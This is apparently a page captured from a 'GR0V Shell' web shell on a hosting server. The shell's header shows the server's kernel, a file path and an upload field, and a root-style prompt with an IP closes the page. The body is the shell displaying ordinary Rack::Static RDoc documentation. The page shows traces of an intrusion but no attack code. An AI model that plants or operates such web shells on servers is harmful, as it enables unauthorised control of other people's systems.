? GR0V Shell

GR0V shell

Linux server122.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

Path : /opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/rdoc/Rack/
File Upload :
Current File : //opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/rdoc/Rack/Static.html

<?xml version="1.0" encoding="US-ASCII"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
  <meta content="text/html; charset=US-ASCII" http-equiv="Content-Type" />

  <title>Class: Rack::Static</title>

  <link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />

  <script src="../js/jquery.js" type="text/javascript" charset="utf-8"></script>
  <script src="../js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
  <script src="../js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
  <script src="../js/darkfish.js" type="text/javascript" charset="utf-8"></script>

</head>
<body id="top" class="class">

  <div id="metadata">
    <div id="home-metadata">
      <div id="home-section" class="section">
        <h3 class="section-header">
          <a href="../index.html">Home</a>
          <a href="../index.html#classes">Classes</a>
          <a href="../index.html#methods">Methods</a>
        </h3>
      </div>
    </div>

    <div id="file-metadata">
      <div id="file-list-section" class="section">
        <h3 class="section-header">In Files</h3>
        <div class="section-body">
          <ul>
          
            <li><a href="../lib/rack/static_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
              class="thickbox" title="lib/rack/static.rb">lib/rack/static.rb</a></li>
          
          </ul>
        </div>
      </div>

      
    </div>

    <div id="class-metadata">
      
      <!-- Parent Class -->
      <div id="parent-class-section" class="section">
        <h3 class="section-header">Parent</h3>
        
        <p class="link"><a href="../Object.html">Object</a></p>
        
      </div>
      

      

      

      
      <!-- Method Quickref -->
      <div id="method-list-section" class="section">
        <h3 class="section-header">Methods</h3>
        <ul class="link-list">
          
          <li><a href="#method-c-new">::new</a></li>
          
          <li><a href="#method-i-applicable_rules">#applicable_rules</a></li>
          
          <li><a href="#method-i-call">#call</a></li>
          
          <li><a href="#method-i-can_serve">#can_serve</a></li>
          
          <li><a href="#method-i-overwrite_file_path">#overwrite_file_path</a></li>
          
          <li><a href="#method-i-route_file">#route_file</a></li>
          
        </ul>
      </div>
      

      
    </div>

    <div id="project-metadata">
      
      
      <div id="fileindex-section" class="section project-section">
        <h3 class="section-header">Files</h3>
        <ul>
        
          <li class="file"><a href="../KNOWN-ISSUES.html">KNOWN-ISSUES</a></li>
        
        </ul>
      </div>
      

      <div id="classindex-section" class="section project-section">
        <h3 class="section-header">Class/Module Index
          <span class="search-toggle"><img src="../images/find.png"
            height="16" width="16" alt="[+]"
            title="show/hide quicksearch" /></span></h3>
        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
        <fieldset>
          <legend>Quicksearch</legend>
          <input type="text" name="quicksearch" value=""
            class="quicksearch-field" />
        </fieldset>
        </form>

        <ul class="link-list">
        
          <li><a href="../Rack.html">Rack</a></li>
        
          <li><a href="../Rack/Auth.html">Rack::Auth</a></li>
        
          <li><a href="../Rack/Auth/AbstractHandler.html">Rack::Auth::AbstractHandler</a></li>
        
          <li><a href="../Rack/Auth/AbstractRequest.html">Rack::Auth::AbstractRequest</a></li>
        
          <li><a href="../Rack/Auth/Basic.html">Rack::Auth::Basic</a></li>
        
          <li><a href="../Rack/Auth/Basic/Request.html">Rack::Auth::Basic::Request</a></li>
        
          <li><a href="../Rack/Auth/Digest.html">Rack::Auth::Digest</a></li>
        
          <li><a href="../Rack/Auth/Digest/MD5.html">Rack::Auth::Digest::MD5</a></li>
        
          <li><a href="../Rack/Auth/Digest/Nonce.html">Rack::Auth::Digest::Nonce</a></li>
        
          <li><a href="../Rack/Auth/Digest/Params.html">Rack::Auth::Digest::Params</a></li>
        
          <li><a href="../Rack/Auth/Digest/Request.html">Rack::Auth::Digest::Request</a></li>
        
          <li><a href="../Rack/BodyProxy.html">Rack::BodyProxy</a></li>
        
          <li><a href="../Rack/Builder.html">Rack::Builder</a></li>
        
          <li><a href="../Rack/Cascade.html">Rack::Cascade</a></li>
        
          <li><a href="../Rack/Chunked.html">Rack::Chunked</a></li>
        
          <li><a href="../Rack/Chunked/Body.html">Rack::Chunked::Body</a></li>
        
          <li><a href="../Rack/CommonLogger.html">Rack::CommonLogger</a></li>
        
          <li><a href="../Rack/ConditionalGet.html">Rack::ConditionalGet</a></li>
        
          <li><a href="../Rack/Config.html">Rack::Config</a></li>
        
          <li><a href="../Rack/ContentLength.html">Rack::ContentLength</a></li>
        
          <li><a href="../Rack/ContentType.html">Rack::ContentType</a></li>
        
          <li><a href="../Rack/Deflater.html">Rack::Deflater</a></li>
        
          <li><a href="../Rack/Deflater/DeflateStream.html">Rack::Deflater::DeflateStream</a></li>
        
          <li><a href="../Rack/Deflater/GzipStream.html">Rack::Deflater::GzipStream</a></li>
        
          <li><a href="../Rack/Directory.html">Rack::Directory</a></li>
        
          <li><a href="../Rack/ETag.html">Rack::ETag</a></li>
        
          <li><a href="../Rack/File.html">Rack::File</a></li>
        
          <li><a href="../Rack/ForwardRequest.html">Rack::ForwardRequest</a></li>
        
          <li><a href="../Rack/Handler.html">Rack::Handler</a></li>
        
          <li><a href="../Rack/Handler/CGI.html">Rack::Handler::CGI</a></li>
        
          <li><a href="../Rack/Handler/EventedMongrel.html">Rack::Handler::EventedMongrel</a></li>
        
          <li><a href="../Rack/Handler/FastCGI.html">Rack::Handler::FastCGI</a></li>
        
          <li><a href="../Rack/Handler/LSWS.html">Rack::Handler::LSWS</a></li>
        
          <li><a href="../Rack/Handler/Mongrel.html">Rack::Handler::Mongrel</a></li>
        
          <li><a href="../Rack/Handler/SCGI.html">Rack::Handler::SCGI</a></li>
        
          <li><a href="../Rack/Handler/SwiftipliedMongrel.html">Rack::Handler::SwiftipliedMongrel</a></li>
        
          <li><a href="../Rack/Handler/Thin.html">Rack::Handler::Thin</a></li>
        
          <li><a href="../Rack/Handler/WEBrick.html">Rack::Handler::WEBrick</a></li>
        
          <li><a href="../Rack/Head.html">Rack::Head</a></li>
        
          <li><a href="../Rack/Lint.html">Rack::Lint</a></li>
        
          <li><a href="../Rack/Lobster.html">Rack::Lobster</a></li>
        
          <li><a href="../Rack/Lock.html">Rack::Lock</a></li>
        
          <li><a href="../Rack/Logger.html">Rack::Logger</a></li>
        
          <li><a href="../Rack/MethodOverride.html">Rack::MethodOverride</a></li>
        
          <li><a href="../Rack/Mime.html">Rack::Mime</a></li>
        
          <li><a href="../Rack/MockRequest.html">Rack::MockRequest</a></li>
        
          <li><a href="../Rack/MockRequest/FatalWarner.html">Rack::MockRequest::FatalWarner</a></li>
        
          <li><a href="../Rack/MockRequest/FatalWarning.html">Rack::MockRequest::FatalWarning</a></li>
        
          <li><a href="../Rack/MockResponse.html">Rack::MockResponse</a></li>
        
          <li><a href="../Rack/Multipart.html">Rack::Multipart</a></li>
        
          <li><a href="../Rack/Multipart/Generator.html">Rack::Multipart::Generator</a></li>
        
          <li><a href="../Rack/Multipart/MultipartPartLimitError.html">Rack::Multipart::MultipartPartLimitError</a></li>
        
          <li><a href="../Rack/Multipart/Parser.html">Rack::Multipart::Parser</a></li>
        
          <li><a href="../Rack/Multipart/UploadedFile.html">Rack::Multipart::UploadedFile</a></li>
        
          <li><a href="../Rack/NullLogger.html">Rack::NullLogger</a></li>
        
          <li><a href="../Rack/Recursive.html">Rack::Recursive</a></li>
        
          <li><a href="../Rack/Reloader.html">Rack::Reloader</a></li>
        
          <li><a href="../Rack/Reloader/Stat.html">Rack::Reloader::Stat</a></li>
        
          <li><a href="../Rack/Request.html">Rack::Request</a></li>
        
          <li><a href="../Rack/Response.html">Rack::Response</a></li>
        
          <li><a href="../Rack/Response/Helpers.html">Rack::Response::Helpers</a></li>
        
          <li><a href="../Rack/RewindableInput.html">Rack::RewindableInput</a></li>
        
          <li><a href="../Rack/RewindableInput/Tempfile.html">Rack::RewindableInput::Tempfile</a></li>
        
          <li><a href="../Rack/Runtime.html">Rack::Runtime</a></li>
        
          <li><a href="../Rack/Sendfile.html">Rack::Sendfile</a></li>
        
          <li><a href="../Rack/Server.html">Rack::Server</a></li>
        
          <li><a href="../Rack/Server/Options.html">Rack::Server::Options</a></li>
        
          <li><a href="../Rack/Session.html">Rack::Session</a></li>
        
          <li><a href="../Rack/Session/Abstract.html">Rack::Session::Abstract</a></li>
        
          <li><a href="../Rack/Session/Abstract/ID.html">Rack::Session::Abstract::ID</a></li>
        
          <li><a href="../Rack/Session/Abstract/SessionHash.html">Rack::Session::Abstract::SessionHash</a></li>
        
          <li><a href="../Rack/Session/Cookie.html">Rack::Session::Cookie</a></li>
        
          <li><a href="../Rack/Session/Cookie/Base64.html">Rack::Session::Cookie::Base64</a></li>
        
          <li><a href="../Rack/Session/Cookie/Base64/JSON.html">Rack::Session::Cookie::Base64::JSON</a></li>
        
          <li><a href="../Rack/Session/Cookie/Base64/Marshal.html">Rack::Session::Cookie::Base64::Marshal</a></li>
        
          <li><a href="../Rack/Session/Cookie/Base64/ZipJSON.html">Rack::Session::Cookie::Base64::ZipJSON</a></li>
        
          <li><a href="../Rack/Session/Cookie/Identity.html">Rack::Session::Cookie::Identity</a></li>
        
          <li><a href="../Rack/Session/Memcache.html">Rack::Session::Memcache</a></li>
        
          <li><a href="../Rack/Session/Pool.html">Rack::Session::Pool</a></li>
        
          <li><a href="../Rack/ShowExceptions.html">Rack::ShowExceptions</a></li>
        
          <li><a href="../Rack/ShowStatus.html">Rack::ShowStatus</a></li>
        
          <li><a href="../Rack/Static.html">Rack::Static</a></li>
        
          <li><a href="../Rack/TempfileReaper.html">Rack::TempfileReaper</a></li>
        
          <li><a href="../Rack/URLMap.html">Rack::URLMap</a></li>
        
          <li><a href="../Rack/Utils.html">Rack::Utils</a></li>
        
          <li><a href="../Rack/Utils/Context.html">Rack::Utils::Context</a></li>
        
          <li><a href="../Rack/Utils/HeaderHash.html">Rack::Utils::HeaderHash</a></li>
        
          <li><a href="../Rack/Utils/InvalidParameterError.html">Rack::Utils::InvalidParameterError</a></li>
        
          <li><a href="../Rack/Utils/KeySpaceConstrainedParams.html">Rack::Utils::KeySpaceConstrainedParams</a></li>
        
          <li><a href="../Rack/Multipart.html">Rack::Utils::Multipart</a></li>
        
          <li><a href="../Rack/Utils/OkJson.html">Rack::Utils::OkJson</a></li>
        
          <li><a href="../Rack/Utils/OkJson/Error.html">Rack::Utils::OkJson::Error</a></li>
        
          <li><a href="../Rack/Utils/OkJson/Utf8Error.html">Rack::Utils::OkJson::Utf8Error</a></li>
        
          <li><a href="../Rack/Utils/ParameterTypeError.html">Rack::Utils::ParameterTypeError</a></li>
        
          <li><a href="../FCGI.html">FCGI</a></li>
        
          <li><a href="../FCGI/Stream.html">FCGI::Stream</a></li>
        
          <li><a href="../WEBrick.html">WEBrick</a></li>
        
          <li><a href="../WEBrick/HTTPResponse.html">WEBrick::HTTPResponse</a></li>
        
          <li><a href="../Object.html">Object</a></li>
        
        </ul>
        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
      </div>

      
    </div>
  </div>

  <div id="documentation">
    <h1 class="class">Rack::Static</h1>

    <div id="description" class="description">
      
<p>The <a href="Static.html">Rack::Static</a> middleware intercepts requests
for static files (javascript files, images, stylesheets, etc) based on the
url prefixes or route mappings passed in the options, and serves them using
a <a href="File.html">Rack::File</a> object. This allows a <a
href="../Rack.html">Rack</a> stack to serve both static and dynamic
content.</p>

<p>Examples:</p>

<p>Serve all requests beginning with /media from the "media" folder located in
the current directory (ie media/*):</p>

<pre>use Rack::Static, :urls =&gt; [&quot;/media&quot;]</pre>

<p>Serve all requests beginning with /css or /images from the folder "public"
in the current directory (ie public/css/* and public/images/*):</p>

<pre>use Rack::Static, :urls =&gt; [&quot;/css&quot;, &quot;/images&quot;], :root =&gt; &quot;public&quot;</pre>

<p>Serve all requests to / with "index.html" from the folder "public" in the
current directory (ie public/index.html):</p>

<pre>use Rack::Static, :urls =&gt; {&quot;/&quot; =&gt; 'index.html'}, :root =&gt; 'public'</pre>

<p>Serve all requests normally from the folder "public" in the current
directory but uses index.html as default route for "/"</p>

<pre>use Rack::Static, :urls =&gt; [&quot;&quot;], :root =&gt; 'public', :index =&gt;
'index.html'</pre>

<p>Set custom HTTP Headers for based on rules:</p>

<pre>   use Rack::Static, :root =&gt; 'public',
       :header_rules =&gt; [
         [rule, {header_field =&gt; content, header_field =&gt; content}],
         [rule, {header_field =&gt; content}]
       ]

Rules for selecting files:

1) All files
   Provide the :all symbol
   :all =&gt; Matches every file

2) Folders
   Provide the folder path as a string
   '/folder' or '/folder/subfolder' =&gt; Matches files in a certain folder

3) File Extensions
   Provide the file extensions as an array
   ['css', 'js'] or %w(css js) =&gt; Matches files ending in .css or .js

4) Regular Expressions / Regexp
   Provide a regular expression
   %r{\.(?:css|js)\z} =&gt; Matches files ending in .css or .js
   /\.(?:eot|ttf|otf|woff2|woff|svg)\z/ =&gt; Matches files ending in
     the most common web font formats (.eot, .ttf, .otf, .woff2, .woff, .svg)
     Note: This Regexp is available as a shortcut, using the :fonts rule

5) Font Shortcut
   Provide the :fonts symbol
   :fonts =&gt; Uses the Regexp rule stated right above to match all common web font endings

Rule Ordering:
  Rules are applied in the order that they are provided.
  List rather general rules above special ones.

Complete example use case including HTTP header rules:

   use Rack::Static, :root =&gt; 'public',
       :header_rules =&gt; [
         # Cache all static files in public caches (e.g. Rack::Cache)
         #  as well as in the browser
         [:all, {'Cache-Control' =&gt; 'public, max-age=31536000'}],

         # Provide web fonts with cross-origin access-control-headers
         #  Firefox requires this when serving assets using a Content Delivery Network
         [:fonts, {'Access-Control-Allow-Origin' =&gt; '*'}]
       ]</pre>

    </div><!-- description -->

    
    
    
    <div id="5Buntitled-5D" class="documentation-section">
      

      

      

      

      <!-- Methods -->
      
      <div id="public-class-method-details" class="method-section section">
        <h3 class="section-header">Public Class Methods</h3>

      
        <div id="new-method" class="method-detail ">
          <a name="method-c-new"></a>

          
          <div class="method-heading">
            <span class="method-name">new</span><span
              class="method-args">(app, options={})</span>
            <span class="method-click-advice">click to toggle source</span>
          </div>
          

          <div class="method-description">
            
            
            

            
            <div class="method-source-code" id="new-source">
<pre>
<span class="ruby-comment"># File lib/rack/static.rb, line 83</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">app</span>, <span class="ruby-identifier">options</span>={})
  <span class="ruby-ivar">@app</span> = <span class="ruby-identifier">app</span>
  <span class="ruby-ivar">@urls</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:urls</span>] <span class="ruby-operator">||</span> [<span class="ruby-string">&quot;/favicon.ico&quot;</span>]
  <span class="ruby-ivar">@index</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:index</span>]
  <span class="ruby-identifier">root</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:root</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">pwd</span>

  <span class="ruby-comment"># HTTP Headers</span>
  <span class="ruby-ivar">@header_rules</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:header_rules</span>] <span class="ruby-operator">||</span> []
  <span class="ruby-comment"># Allow for legacy :cache_control option while prioritizing global header_rules setting</span>
  <span class="ruby-ivar">@header_rules</span>.<span class="ruby-identifier">insert</span>(<span class="ruby-value">0</span>, [<span class="ruby-value">:all</span>, {<span class="ruby-string">'Cache-Control'</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:cache_control</span>]}]) <span class="ruby-keyword">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:cache_control</span>]

  <span class="ruby-ivar">@file_server</span> = <span class="ruby-constant">Rack</span><span class="ruby-operator">::</span><span class="ruby-constant">File</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">root</span>)
<span class="ruby-keyword">end</span></pre>
            </div><!-- new-source -->
            
          </div>

          

          
        </div><!-- new-method -->

      
      </div><!-- public-class-method-details -->
    
      <div id="public-instance-method-details" class="method-section section">
        <h3 class="section-header">Public Instance Methods</h3>

      
        <div id="applicable_rules-method" class="method-detail ">
          <a name="method-i-applicable_rules"></a>

          
          <div class="method-heading">
            <span class="method-name">applicable_rules</span><span
              class="method-args">(path)</span>
            <span class="method-click-advice">click to toggle source</span>
          </div>
          

          <div class="method-description">
            
            <p>Convert HTTP header rules to HTTP headers</p>
            

            
            <div class="method-source-code" id="applicable_rules-source">
<pre>
<span class="ruby-comment"># File lib/rack/static.rb, line 129</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">applicable_rules</span>(<span class="ruby-identifier">path</span>)
  <span class="ruby-ivar">@header_rules</span>.<span class="ruby-identifier">find_all</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">rule</span>, <span class="ruby-identifier">new_headers</span><span class="ruby-operator">|</span>
    <span class="ruby-keyword">case</span> <span class="ruby-identifier">rule</span>
    <span class="ruby-keyword">when</span> <span class="ruby-value">:all</span>
      <span class="ruby-keyword">true</span>
    <span class="ruby-keyword">when</span> <span class="ruby-value">:fonts</span>
      <span class="ruby-identifier">path</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/\.(?:ttf|otf|eot|woff2|woff|svg)\z/</span>
    <span class="ruby-keyword">when</span> <span class="ruby-constant">String</span>
      <span class="ruby-identifier">path</span> = <span class="ruby-operator">::</span><span class="ruby-constant">Rack</span><span class="ruby-operator">::</span><span class="ruby-constant">Utils</span>.<span class="ruby-identifier">unescape</span>(<span class="ruby-identifier">path</span>)
      <span class="ruby-identifier">path</span>.<span class="ruby-identifier">start_with?</span>(<span class="ruby-identifier">rule</span>) <span class="ruby-operator">||</span> <span class="ruby-identifier">path</span>.<span class="ruby-identifier">start_with?</span>(<span class="ruby-string">'/'</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">rule</span>)
    <span class="ruby-keyword">when</span> <span class="ruby-constant">Array</span>
      <span class="ruby-identifier">path</span> <span class="ruby-operator">=~</span> <span class="ruby-node">/\.(#{rule.join('|')})\z/</span>
    <span class="ruby-keyword">when</span> <span class="ruby-constant">Regexp</span>
      <span class="ruby-identifier">path</span> <span class="ruby-operator">=~</span> <span class="ruby-identifier">rule</span>
    <span class="ruby-keyword">else</span>
      <span class="ruby-keyword">false</span>
    <span class="ruby-keyword">end</span>
  <span class="ruby-keyword">end</span>
<span class="ruby-keyword">end</span></pre>
            </div><!-- applicable_rules-source -->
            
          </div>

          

          
        </div><!-- applicable_rules-method -->

      
        <div id="call-method" class="method-detail ">
          <a name="method-i-call"></a>

          
          <div class="method-heading">
            <span class="method-name">call</span><span
              class="method-args">(env)</span>
            <span class="method-click-advice">click to toggle source</span>
          </div>
          

          <div class="method-description">
            
            
            

            
            <div class="method-source-code" id="call-source">
<pre>
<span class="ruby-comment"># File lib/rack/static.rb, line 109</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">call</span>(<span class="ruby-identifier">env</span>)
  <span class="ruby-identifier">path</span> = <span class="ruby-identifier">env</span>[<span class="ruby-constant">PATH_INFO</span>]

  <span class="ruby-keyword">if</span> <span class="ruby-identifier">can_serve</span>(<span class="ruby-identifier">path</span>)
    <span class="ruby-identifier">env</span>[<span class="ruby-string">&quot;PATH_INFO&quot;</span>] = (<span class="ruby-identifier">path</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/\/$/</span> <span class="ruby-operator">?</span> <span class="ruby-identifier">path</span> <span class="ruby-operator">+</span> <span class="ruby-ivar">@index</span> <span class="ruby-operator">:</span> <span class="ruby-ivar">@urls</span>[<span class="ruby-identifier">path</span>]) <span class="ruby-keyword">if</span> <span class="ruby-identifier">overwrite_file_path</span>(<span class="ruby-identifier">path</span>)
    <span class="ruby-identifier">path</span> = <span class="ruby-identifier">env</span>[<span class="ruby-string">&quot;PATH_INFO&quot;</span>]
    <span class="ruby-identifier">response</span> = <span class="ruby-ivar">@file_server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-identifier">env</span>)

    <span class="ruby-identifier">headers</span> = <span class="ruby-identifier">response</span>[<span class="ruby-value">1</span>]
    <span class="ruby-identifier">applicable_rules</span>(<span class="ruby-identifier">path</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">rule</span>, <span class="ruby-identifier">new_headers</span><span class="ruby-operator">|</span>
      <span class="ruby-identifier">new_headers</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">field</span>, <span class="ruby-identifier">content</span><span class="ruby-operator">|</span> <span class="ruby-identifier">headers</span>[<span class="ruby-identifier">field</span>] = <span class="ruby-identifier">content</span> }
    <span class="ruby-keyword">end</span>

    <span class="ruby-identifier">response</span>
  <span class="ruby-keyword">else</span>
    <span class="ruby-ivar">@app</span>.<span class="ruby-identifier">call</span>(<span class="ruby-identifier">env</span>)
  <span class="ruby-keyword">end</span>
<span class="ruby-keyword">end</span></pre>
            </div><!-- call-source -->
            
          </div>

          

          
        </div><!-- call-method -->

      
        <div id="can_serve-method" class="method-detail ">
          <a name="method-i-can_serve"></a>

          
          <div class="method-heading">
            <span class="method-name">can_serve</span><span
              class="method-args">(path)</span>
            <span class="method-click-advice">click to toggle source</span>
          </div>
          

          <div class="method-description">
            
            
            

            
            <div class="method-source-code" id="can_serve-source">
<pre>
<span class="ruby-comment"># File lib/rack/static.rb, line 105</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">can_serve</span>(<span class="ruby-identifier">path</span>)
  <span class="ruby-identifier">route_file</span>(<span class="ruby-identifier">path</span>) <span class="ruby-operator">||</span> <span class="ruby-identifier">overwrite_file_path</span>(<span class="ruby-identifier">path</span>)
<span class="ruby-keyword">end</span></pre>
            </div><!-- can_serve-source -->
            
          </div>

          

          
        </div><!-- can_serve-method -->

      
        <div id="overwrite_file_path-method" class="method-detail ">
          <a name="method-i-overwrite_file_path"></a>

          
          <div class="method-heading">
            <span class="method-name">overwrite_file_path</span><span
              class="method-args">(path)</span>
            <span class="method-click-advice">click to toggle source</span>
          </div>
          

          <div class="method-description">
            
            
            

            
            <div class="method-source-code" id="overwrite_file_path-source">
<pre>
<span class="ruby-comment"># File lib/rack/static.rb, line 97</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">overwrite_file_path</span>(<span class="ruby-identifier">path</span>)
  <span class="ruby-ivar">@urls</span>.<span class="ruby-identifier">kind_of?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-ivar">@urls</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-identifier">path</span>) <span class="ruby-operator">||</span> <span class="ruby-ivar">@index</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">path</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/\/$/</span>
<span class="ruby-keyword">end</span></pre>
            </div><!-- overwrite_file_path-source -->
            
          </div>

          

          
        </div><!-- overwrite_file_path-method -->

      
        <div id="route_file-method" class="method-detail ">
          <a name="method-i-route_file"></a>

          
          <div class="method-heading">
            <span class="method-name">route_file</span><span
              class="method-args">(path)</span>
            <span class="method-click-advice">click to toggle source</span>
          </div>
          

          <div class="method-description">
            
            
            

            
            <div class="method-source-code" id="route_file-source">
<pre>
<span class="ruby-comment"># File lib/rack/static.rb, line 101</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">route_file</span>(<span class="ruby-identifier">path</span>)
  <span class="ruby-ivar">@urls</span>.<span class="ruby-identifier">kind_of?</span>(<span class="ruby-constant">Array</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-ivar">@urls</span>.<span class="ruby-identifier">any?</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">url</span><span class="ruby-operator">|</span> <span class="ruby-identifier">path</span>.<span class="ruby-identifier">index</span>(<span class="ruby-identifier">url</span>) <span class="ruby-operator">==</span> <span class="ruby-value">0</span> }
<span class="ruby-keyword">end</span></pre>
            </div><!-- route_file-source -->
            
          </div>

          

          
        </div><!-- route_file-method -->

      
      </div><!-- public-instance-method-details -->
    
    </div><!-- 5Buntitled-5D -->
  

  </div><!-- documentation -->

  <div id="validator-badges">
    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
      Rdoc Generator</a> 2</small>.</p>
  </div>

</body>
</html>


T1KUS90T
  root-grov@198.54.114.191:~$